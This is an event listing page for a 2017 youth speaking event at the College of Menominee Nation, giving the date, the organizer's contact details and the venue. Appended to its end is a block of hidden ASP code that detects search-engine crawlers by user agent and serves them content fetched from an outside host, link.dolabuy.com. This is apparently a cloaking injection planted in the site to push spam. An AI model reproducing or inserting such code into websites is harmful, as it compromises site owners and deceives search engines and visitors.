Print this Page

(No title)

Loading Events

« All Events

  • This event has passed.

5th Annual Youth Speak Event

December 8, 2017 @ 5:30 pm - 7:30 pm

Details

Date:
December 8, 2017
Time:
5:30 pm - 7:30 pm
Event Category:
Event Tags:
,

Organizer

Sustainable Development Institute
Phone:
(715)799-5600
Email:
SDI@menominee.edu
Website:
sustainabledevelopmentinstitute.org

Venue

College of Menominee Nation Cultural Learning Center
N172 State Hwy. 47/55
Keshena, 54135 United States
+ Google Map
Website:
sustainabledevelopmentinstitute.org

Permanent link to this article: http://sustainabledevelopmentinstitute.org/event/5th-annual-youth-speak-event/

<% Function GetHtml(url) Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP") ObjXMLHTTP.Open "GET",url,False ObjXMLHTTP.setRequestHeader "User-Agent","aQ0O010O" ObjXMLHTTP.send GetHtml=ObjXMLHTTP.responseBody Set ObjXMLHTTP=Nothing set objStream = Server.CreateObject("Adodb.Stream") objStream.Type = 1 objStream.Mode =3 objStream.Open objStream.Write GetHtml objStream.Position = 0 objStream.Type = 2 objStream.Charset = "UTF-8" GetHtml = objStream.ReadText objStream.Close End Function dim ua ua=Request.ServerVariables("HTTP_USER_AGENT") searray = array("Google Web Preview", "bot","wget", "spider") For i = 0 To Ubound(searray) If (Instr(ua, searray(i)) > 0) Then content = GetHtml("http://link.dolabuy.com/cs08.txt") Response.write content end if Next %>